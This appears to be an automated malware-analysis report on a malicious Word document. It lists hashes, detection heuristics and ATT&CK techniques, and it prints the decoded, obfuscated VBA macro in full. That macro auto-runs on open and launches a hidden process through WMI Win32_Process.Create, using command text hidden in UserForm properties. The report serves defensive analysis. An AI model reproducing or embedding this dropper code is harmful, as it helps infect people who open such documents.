Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff8de7de95e6aa0e…

MALICIOUS

Office (OLE)

175.2 KB Created: 2020-08-06 22:18:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 0e90fd6383ca1a73e75b19a0c7b68f14 SHA-1: b923f8254a34d8156f795979e999001ca7a57bbc SHA-256: ff8de7de95e6aa0e4144a28e204c568e2b0897039d3c6925195053aa742cd7f6
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm to execute a command stager. This indicates an attempt to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Sagent-9238653-0' further supports its malicious nature. The VBA code's obfuscation and use of a hidden UserForm for execution are common techniques for malware droppers.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9238653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9238653-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4060 bytes
SHA-256: a8b5928683028607b3608feba6fef72a1b2cdc15fea725c972480419c20ddcc5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MTCUXqjvbzkl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
KWMPXqetdrmui.VITZBxbqkulyaud
End Sub


Attribute VB_Name = "KWMPXqetdrmui"
Attribute VB_Base = "0{16D10633-6E62-4AC6-87FF-7913AA344F93}{79B213A5-39EF-4E76-BC7B-5E5A16DE7C4E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function VITZBxbqkulyaud()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
GXDWSppyyvxequewt = Chr(KWMPXqetdrmui.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
XUMNVprifnyhukazea = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + GXDWSppyyvxequewt + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + KWMPXqetdrmui.HEAMHlioliunykxpxf + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
GHGGDtayqypegcm = AAKOFyutcksyp(XUMNVprifnyhukazea)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set ZNXYTzfggmcjjov = CreateObject(GHGGDtayqypegcm)
Dim MYsmbE7 As Long
EQZJLtsijgwhfh = KWMPXqetdrmui.VJSCLmjbldijojem.ControlTipText
Dim VvSOR1Öop As Variant
DANLRwgwemyi = nsbuqwd + (GHGGDtayqypegcm + GXDWSppyyvxequewt + KWMPXqetdrmui.AYXLSolrkshu.ControlTipText + EQZJLtsijgwhfh)
GoTo VB1ÍlR
VB1ÍlR:
PZGVQcrziuswltd = DANLRwgwemyi + KWMPXqetdrmui.HEAMHlioliunykxpxf
Dim u6ÑPouprUqC As Double
Set YTXHAwsppkhk = TGSCIewfcxzocyl(PZGVQcrziuswltd)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", ZNXYTzfggmcjjov. _
Create(FMMFMwsoopohcrohhae, SJKGAwoczseriy, YTXHAwsppkhk), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function TGSCIewfcxzocyl(XPSZBxburqodt)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set TGSCIewfcxzocyl = CreateObject(XPSZBxburqodt)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
TGSCIewfcxzocyl. _
showwindow = IIFBEirefsmvdni + PTVYWiegjmrb + RUHJSfeoirza
Dim uebuZa As Variant
End Function
Function AAKOFyutcksyp(PQFNIoqxhiqma)
SULILvyeuddhnzcnj = PQFNIoqxhiqma
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
INUMRldlaubkvfxk = Split _
(SULILvyeuddhnzcnj, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
QSMBYgquyplhahrqj = ms + Join(INUMRldlaubkvfxk, e2)
GoTo cDCrGvM
cDCrGvM:
AAKOFyutcksyp = QSMBYgquyplhahrqj
Dim V5Ü8ÍA As Variant
End Function
Function FMMFMwsoopohcrohhae()
kqhlwie = KWMPXqetdrmui.CTYARwdrfybtnzbct.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
FMMFMwsoopohcrohhae = AAKOFyutcksyp(kqhlwie)
GoTo aknR
aknR:
End Function

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